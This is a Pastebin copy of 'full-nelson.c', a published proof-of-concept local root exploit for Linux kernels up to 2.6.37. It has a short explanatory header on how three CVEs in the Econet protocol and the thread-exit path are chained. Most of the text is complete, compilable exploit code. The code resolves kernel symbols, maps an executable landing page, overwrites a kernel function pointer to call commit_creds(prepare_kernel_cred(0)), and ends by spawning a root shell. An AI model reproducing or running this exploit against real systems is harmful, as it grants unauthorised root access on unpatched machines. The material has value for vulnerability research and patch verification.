Advertisement
Guest User

Untitled

a guest
Sep 19th, 2017
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 9.42 KB | None | 0 0
  1. Hi all,
  2.  
  3. I've included here a proof-of-concept local privilege escalation exploit
  4. for Linux.  Please read the header for an explanation of what's going
  5. on.  Without further ado, I present full-nelson.c:
  6.  
  7. Happy hacking,
  8. Dan
  9.  
  10.  
  11. --snip--
  12.  
  13. /*
  14.  * Linux Kernel <= 2.6.37 local privilege escalation
  15.  * by Dan Rosenberg
  16.  * @djrbliss on twitter
  17.  *
  18.  * Usage:
  19.  * gcc full-nelson.c -o full-nelson
  20.  * ./full-nelson
  21.  *
  22.  * This exploit leverages three vulnerabilities to get root, all of which were
  23.  * discovered by Nelson Elhage:
  24.  *
  25.  * CVE-2010-4258
  26.  * -------------
  27.  * This is the interesting one, and the reason I wrote this exploit.  If a
  28.  * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
  29.  * word will be written to a user-specified pointer when that thread exits.
  30.  * This write is done using put_user(), which ensures the provided destination
  31.  * resides in valid userspace by invoking access_ok().  However, Nelson
  32.  * discovered that when the kernel performs an address limit override via
  33.  * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
  34.  * etc.), this override is not reverted before calling put_user() in the exit
  35.  * path, allowing a user to write a NULL word to an arbitrary kernel address.
  36.  * Note that this issue requires an additional vulnerability to trigger.
  37.  *
  38.  * CVE-2010-3849
  39.  * -------------
  40.  * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
  41.  * fairly benign as a local denial-of-service.  It's a perfect candidate to
  42.  * trigger the above issue, since it's reachable via sock_no_sendpage(), which
  43.  * subsequently calls sendmsg under KERNEL_DS.
  44.  *
  45.  * CVE-2010-3850
  46.  * -------------
  47.  * I wouldn't be able to reach the NULL pointer dereference and trigger the
  48.  * OOPS if users weren't able to assign Econet addresses to arbitrary
  49.  * interfaces due to a missing capabilities check.
  50.  *
  51.  * In the interest of public safety, this exploit was specifically designed to
  52.  * be limited:
  53.  *
  54.  *  * The particular symbols I resolve are not exported on Slackware or Debian
  55.  *  * Red Hat does not support Econet by default
  56.  *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
  57.  *    Debian
  58.  *
  59.  * However, the important issue, CVE-2010-4258, affects everyone, and it would
  60.  * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
  61.  * more sophisticated version of this that doesn't have the roadblocks I put in
  62.  * to prevent abuse by script kiddies.
  63.  *
  64.  * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
  65.  *
  66.  * NOTE: the exploit process will deadlock and stay in a zombie state after you
  67.  * exit your root shell because the Econet thread OOPSes while holding the
  68.  * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
  69.  *
  70.  * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
  71.  */
  72.  
  73. #include <stdio.h>
  74. #include <sys/socket.h>
  75. #include <fcntl.h>
  76. #include <sys/ioctl.h>
  77. #include <string.h>
  78. #include <net/if.h>
  79. #include <sched.h>
  80. #include <stdlib.h>
  81. #include <signal.h>
  82. #include <sys/utsname.h>
  83. #include <sys/mman.h>
  84. #include <unistd.h>
  85.  
  86. /* How many bytes should we clear in our
  87.  * function pointer to put it into userspace? */
  88. #ifdef __x86_64__
  89. #define SHIFT 24
  90. #define OFFSET 3
  91. #else
  92. #define SHIFT 8
  93. #define OFFSET 1
  94. #endif
  95.  
  96. /* thanks spender... */
  97. unsigned long get_kernel_sym(char *name)
  98. {
  99.         FILE *f;
  100.         unsigned long addr;
  101.         char dummy;
  102.         char sname[512];
  103.         struct utsname ver;
  104.         int ret;
  105.         int rep = 0;
  106.         int oldstyle = 0;
  107.  
  108.         f = fopen("/proc/kallsyms", "r");
  109.         if (f == NULL) {
  110.                 f = fopen("/proc/ksyms", "r");
  111.                 if (f == NULL)
  112.                         goto fallback;
  113.                 oldstyle = 1;
  114.         }
  115.  
  116. repeat:
  117.         ret = 0;
  118.         while(ret != EOF) {
  119.                 if (!oldstyle)
  120.                         ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  121.                 else {
  122.                         ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
  123.                         if (ret == 2) {
  124.                                 char *p;
  125.                                 if (strstr(sname, "_O/") || strstr(sname, "_S."))
  126.                                         continue;
  127.                                 p = strrchr(sname, '_');
  128.                                 if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
  129.                                         p = p - 4;
  130.                                         while (p > (char *)sname && *(p - 1) == '_')
  131.                                                 p--;
  132.                                         *p = '\0';
  133.                                 }
  134.                         }
  135.                 }
  136.                 if (ret == 0) {
  137.                         fscanf(f, "%s\n", sname);
  138.                         continue;
  139.                 }
  140.                 if (!strcmp(name, sname)) {
  141.                         fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :
  142. "");
  143.                         fclose(f);
  144.                         return addr;
  145.                 }
  146.         }
  147.  
  148.         fclose(f);
  149.         if (rep)
  150.                 return 0;
  151. fallback:
  152.         uname(&ver);
  153.         if (strncmp(ver.release, "2.6", 3))
  154.                 oldstyle = 1;
  155.         sprintf(sname, "/boot/System.map-%s", ver.release);
  156.         f = fopen(sname, "r");
  157.         if (f == NULL)
  158.                 return 0;
  159.         rep = 1;
  160.         goto repeat;
  161. }
  162.  
  163. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  164. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  165. _commit_creds commit_creds;
  166. _prepare_kernel_cred prepare_kernel_cred;
  167.  
  168. static int __attribute__((regparm(3)))
  169. getroot(void * file, void * vma)
  170. {
  171.  
  172.         commit_creds(prepare_kernel_cred(0));
  173.         return -1;
  174.  
  175. }
  176.  
  177. /* Why do I do this?  Because on x86-64, the address of
  178.  * commit_creds and prepare_kernel_cred are loaded relative
  179.  * to rip, which means I can't just copy the above payload
  180.  * into my landing area. */
  181. void __attribute__((regparm(3)))
  182. trampoline()
  183. {
  184.  
  185. #ifdef __x86_64__
  186.         asm("mov $getroot, %rax; call *%rax;");
  187. #else
  188.         asm("mov $getroot, %eax; call *%eax;");
  189. #endif
  190.  
  191. }
  192.  
  193. /* Triggers a NULL pointer dereference in econet_sendmsg
  194.  * via sock_no_sendpage, so it's under KERNEL_DS */
  195. int trigger(int * fildes)
  196. {
  197.         int ret;
  198.         struct ifreq ifr;
  199.  
  200.         memset(&ifr, 0, sizeof(ifr));
  201.         strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
  202.  
  203.         ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
  204.  
  205.         if(ret < 0) {
  206.                 printf("[*] Failed to set Econet address.\n");
  207.                 return -1;
  208.         }
  209.  
  210.         splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
  211.         splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
  212.  
  213.         /* Shouldn't get here... */
  214.         exit(0);
  215. }
  216.  
  217. int main(int argc, char * argv[])
  218. {
  219.         unsigned long econet_ops, econet_ioctl, target, landing;
  220.         int fildes[4], pid;
  221.         void * newstack, * payload;
  222.  
  223.         /* Create file descriptors now so there are two
  224.            references to them after cloning...otherwise
  225.            the child will never return because it
  226.            deadlocks when trying to unlock various
  227.            mutexes after OOPSing */
  228.         pipe(fildes);
  229.         fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
  230.         fildes[3] = open("/dev/zero", O_RDONLY);
  231.  
  232.         if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
  233.                 printf("[*] Failed to open file descriptors.\n");
  234.                 return -1;
  235.         }
  236.  
  237.         /* Resolve addresses of relevant symbols */
  238.         printf("[*] Resolving kernel addresses...\n");
  239.         econet_ioctl = get_kernel_sym("econet_ioctl");
  240.         econet_ops = get_kernel_sym("econet_ops");
  241.         commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
  242.         prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
  243.  
  244.         if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
  245.                 printf("[*] Failed to resolve kernel symbols.\n");
  246.                 return -1;
  247.         }
  248.  
  249.         if(!(newstack = malloc(65536))) {
  250.                 printf("[*] Failed to allocate memory.\n");
  251.                 return -1;
  252.         }
  253.  
  254.         printf("[*] Calculating target...\n");
  255.         target = econet_ops + 10 * sizeof(void *) - OFFSET;
  256.  
  257.         /* Clear the higher bits */
  258.         landing = econet_ioctl << SHIFT >> SHIFT;
  259.  
  260.         payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
  261.                        PROT_READ | PROT_WRITE | PROT_EXEC,
  262.                        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
  263.  
  264.         if ((long)payload == -1) {
  265.                 printf("[*] Failed to mmap() at target address.\n");
  266.                 return -1;
  267.         }
  268.  
  269.         memcpy((void *)landing, &trampoline, 1024);
  270.  
  271.         clone((int (*)(void *))trigger,
  272.               (void *)((unsigned long)newstack + 65536),
  273.               CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
  274.               &fildes, NULL, NULL, target);
  275.  
  276.         sleep(1);
  277.  
  278.         printf("[*] Triggering payload...\n");
  279.         ioctl(fildes[2], 0, NULL);
  280.  
  281.         if(getuid()) {
  282.                 printf("[*] Exploit failed to get root.\n");
  283.                 return -1;
  284.         }
  285.  
  286.         printf("[*] Got root!\n");
  287.         execl("/bin/sh", "/bin/sh", NULL);
  288. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement